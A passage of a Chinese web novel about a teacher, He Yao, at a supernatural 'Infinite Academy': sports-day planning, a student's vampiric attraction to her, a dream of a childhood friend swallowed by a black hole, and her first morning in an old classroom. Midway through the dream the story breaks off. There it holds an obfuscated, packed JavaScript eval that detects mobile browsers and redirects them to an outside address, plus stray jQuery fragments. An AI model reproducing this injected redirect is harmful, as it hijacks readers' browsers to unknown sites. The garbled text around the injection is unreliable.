这是个好消息。


    但是，何瑶仍有疑惑：“在无限学院里，存在家庭问题的学生只有这两位吗？”


    教务老师微笑：“这您不用操心，学院自有安排。”


    至于具体怎么安排，反正都是上面的人说了算。


    上面的人之间想让她死，就把她外派去家访。


    现在那位又不想让她出去，那她就需要待在这里。


    虽然不知道上面的具体计划，但小小老师，还不好拿捏？


    这么想着，她顺手递给何瑶一份文件：“学院接下来会组织运动会，这是运动会的相关资料，更详细的内容，包括往届的视频资料，都可以在无限学院app里查阅。您可以先了解，明天班会课上记得组织学生参加。”


    说完，她把资料往何瑶手中一塞，提溜着姜姌就径直离开。


    存在感很低的司机师傅也早就不知道跑去了哪里。


    一时间，偌大的停车场只剩下何瑶和顾凌。


    何瑶低头翻着资料，顾凌走到她身边，端详着这个被无限学院选中的人类。


    纤细，脆弱，但生命力如此旺盛又如此顽强。


    他盯着那一节雪白的脖颈，忽然觉得，有点渴。


    恍惚间，他想起之前搜索到的内容——那些属于“最特别的人”之间应该做的事。


    智能检索绘声绘色地呈现出堪称香艳的文字与图片，但那些，令人恶心。


    不过，好像恶心的只是那些图片，绝不是眼前的人。


    或者说，眼前的人，带给他的，才是搜索内容上应该有，那种战栗。


    这种来自传说中神经的兴奋，让他忍不住靠近。


    磨牙吮血，感受那雪白的脖颈之下鲜活的芬芳的跳动。


    顾凌，也这么做了。


    一步，又一步，顾凌站在何瑶的身后。


    近在咫尺。


    顾凌薄唇轻轻张开。


    恰在此时，何瑶转身面向他。


    四目相对，顾凌喉结微动，目光从她雪白的脖颈，挪移到她殷红的唇瓣上。


    那处一张一合，在说什么。


    说什么呢？


    顾凌稳住心神，侧耳倾听：“顾凌，你能不能报个项目呀？”


    下一章


    “项目？……”


    “对对对，最近不是要举办运动会嘛！你要不要报一个项目呢？咱们班学生少，估计人人都得参与……你作为班长，以身作则，先报一个嘛！”何瑶挤出一个自认为充满教师光辉的笑容，又补充道，“这是咱班第一次集体亮相，需要有一个良好的开始，虽然咱们整体实力弱，但是明天班会课咱们可以商讨一下计策，争取有些项目能有名次……”


    顾凌盯着何瑶一张一合的唇，看着她的眉眼，嘴角微扬。


    可能这位小老师自己都没有意识到，她要求人办事时，无论脸上挂着何种笑容，眼神却总会无意识地向左飘。


    有点……可爱。


    “真的？那太好啦！果然还是顾凌同学靠谱！”


    顾凌回过神，那兴高采烈的小老师已经走远。


    哦，原来他早已经给出了答案——“好”。


    好。


    果然是无限学院选中的人。


    顾凌亦步亦趋地跟着何瑶，直到她的身影消失在教师公寓的大门里。


    *


    回到宿舍，无限学院的app里就弹出消息。


    第一个月的工资已经到账，一同发过来的，还有她的工资条。


    没有一个老师能轻轻松松、完完全全看懂自己的工资条——这条理论，没想到在磁场世界也同样适用。


    好在这第一笔工资比他们承诺的还要多不少，但为了避免出现不必要的差错，何瑶还是拿出《指导手册》，一条条对账。


    嗯，多的那些钱是外务费用——应该就是她家访所得。


    差不多有她正经工资的两倍还多呢！


    刨除她为了顺利家访而投入的积分，还有不少结余。


    这也太划算了吧！


    何瑶高兴地从床上弹起来，但又重重向后倒去。


    听教务苏老师那意思，这种好事暂时好像也轮不上她了。


    哎，也是。


    家访这种高风险高收益并存的活儿也不好干。


    何瑶叹了口气，又在app里搜索起运动会的信息。


    无限学院里的运动会和现实世界的看上去差不多，有接力跑，长跑，趣味运动会。


    因为在回程的车上，姜姌已经确定加入她的班集体，所以，她现在班里有7名学生。


    红桃3维纳斯，方片3双胞胎，梅花5年兽，黑桃3杨兜兜，梅花11顾凌，以及待定的姜姌。


    7个人，每个项目都报名显然不现实。


    更何况，这7个人里大多数排序还都比较低——能力低，那么选一些超乎他们能力的项目，对于孩子们建立自信心毫无益处。


    且，《指导手册》上也明确写明：【无限学院的所有师生，可以消耗大量积分，发布一个强制任务，抢夺对方手中的积分、资源。】


    风险不小。


    何瑶想了想，点开4x100米以及趣味运动会的具体资料。


    一个对话框跳了出来：【系统维护中，将于48小时候重新开放。】


    这维护得真是时候。


    她明天就要开运动会相关的班会课，今天相关资料就“被维护”。


    不知道是她运气太好，还是，有什么别的原因。


    但她虽然是新老师，可班级内的学生，除了年兽都不是新生。


    她明天班会课上跟同学们现场讨论，制定战略战术，应该也没问题。


    身为老师，总得学会应对各种危机情况，随机应变嘛！


    现在还没有正式给她排专业课，区区运动会班会，问题不大。


    时间不早了，何瑶吃饭从食堂订的外卖，洗漱一番，又在睡前去SideB浏览了一圈，检查了明天的课表，设好闹钟，安然入睡。


    大概因为这两次家访消耗了太多体力，何瑶这一觉睡得很沉。


    沉到她在梦里兜兜转转又回到了孤儿院，站在那铁栅栏之外，能清晰地看到里面的一草一木，还有，里面的两个小女孩。


    是小叶和她。


    她已经很多年没有梦到小叶了。大概因为潜意识里的自我保护机制，她能死死记住小叶的信息，却对这位挚友的五官挚友模糊的印象，也很少梦到她。


    但这一次，潜意识里模糊的面容终于清晰：小女孩尚未长开的眉眼却早就具备了美人胚子的雏形，眉似远山，眼含秋水，即便长期营养不良但皮肤依然白皙得像是旧日童话书里的小天使。


    小叶拉着小小的她，在孤儿院的院子里玩着没有成本的古老游戏，跳房子。


    一会儿，她们就跳累了，齐刷刷地躺在草地上，仰面数着头上的老槐树有多少片叶子。


    一阵风吹过，老槐树的叶子哗啦啦地响，像是要对她们说什么。


    说什么呢？


    “快跑——！黑洞来了！！！”


    尖锐的声音传来。


    她们来不及分辨那是不是老槐树在建国后成精后的发言，只能凭着本能爬起来，顾不上身上的泥土草屑，无头苍蝇一样乱窜。


    但是，磁场世界的黑洞扩张得那么快，她们根本跑不赢这深渊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137678|184558||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    巨口……


    直到，小叶将她狠狠推开。


    何瑶跌坐在地上，惊呼：“小叶——！”


    吞噬了小叶的黑洞消失，何瑶眼前的黑色也无影无踪。


    何瑶醒了过来，天光大亮，手机闹钟正好响起，催促着牛马醒来上班。


    何瑶换下睡衣，再次整理了帆布包，准备好所有的可能用得到的教学用品，前往


    无限楼。


    说来也奇怪，她虽然正式入职了，但目前课表上并没有给她安排什么专业课。


    课表显示现在正处在无限学院的特殊学段，没有安排任何正课，除了班会课和即将到来的运动会，剩下的时间学生可以自由支配。


    所以，这段时间其实教学楼没有排课，学生的主要活动区域反而在校园里的这个无限楼。


    何瑶之前没有去过无限楼，并不熟悉，所以昨天晚上特意从食堂叫了一份面包外卖作为今天的早餐，还特意早起了几分钟。


    好在一切顺利，在班会课开始前三十分钟就已经抵达了无限楼。


    无限楼的楼层是按照ABCDE来区分，教室的序号才使用罗马数字。


    何瑶班级的教室在A-02。


    不用爬楼，懒人狂喜。


    A-02在A-01和A-03之间，何瑶从正门进去，路过A-01。


    A-01的教室灯光如昼，但里面空无一人，只有一个叠着一个的大箱子，看着像是一间无人的教务室。


    A-02近在咫尺，推门可进，但何瑶犹豫片刻，又往前走了一小段，从A-03的后门上的小窗口往里看——还是空无一人。


    不过A-03这间教室似乎还有近期被使用过的痕迹。


    何瑶本来还想着跟其他同事打个招呼，见此也只能悻悻离开，推开A-02教室的门。


    ……也太破了。


    古老的教室里，窗框都呈现出非常具有年代感的深绿，有些地方颜色甚至都已经褪去，朽木的暗黄色毫不掩饰地张扬着。


    教室的最前端，挂着老式的黑板，可能因为用了太多次，粉笔痕迹都擦不掉，像是蒙蒙的薄纱，罩在这黑板上。


    黑板前面，是一个老式讲台，不高不矮，但旧不新。上面放了一根看着马上就要断了的教鞭，还有一盒用了大半的白粉笔——甚至了一盒完整的菜色粉笔都没有，只有几根颜色不太好的蓝色和绿色粉笔，混在那半盒白粉笔里。


    教室里，带着兜帽的杨兜兜闻声抬头，带着点青紫色的脸上浮现出些许窘迫。


    半晌，他说：“老师好。”


    多么懂礼貌的好孩子！


    何瑶立刻热情回应：“杨兜兜同学你好呀！你来的可真早，吃早饭了吗？最近作业多不多？这边学习压力大不大呀？”


    杨兜兜被这一连串热情的问题砸得有点懵，略凸起的眼珠子有点失焦，显示出大脑飞速运转却没有得出合适答案的迷茫。


    但他还是老实地给出力所能及的答案：“嗯。”


    何瑶把帆布包放在讲台上，将电脑取出来，掩饰自己的尴尬：“哈，哈哈，杨兜兜同学别有太大压力哈，老师只是想了解你的情况……如果你遇到任何问题，都可以跟老师说~”


    杨兜兜：“嗯。”


    沉默。


    何瑶紧张地看着杨兜兜，杨兜兜紧张地攥着手中不知道写了什么的纸。


    尴尬。


    想让内向的学生敞开心扉果然不容易。


    何瑶不敢与杨兜兜强行社交，不再看他给他压力，转过身，挑出那两只蓝色和绿色的粉笔，又拿了根白粉笔，面向黑板。


    第一天和班上的学生见面，还是得正式一点。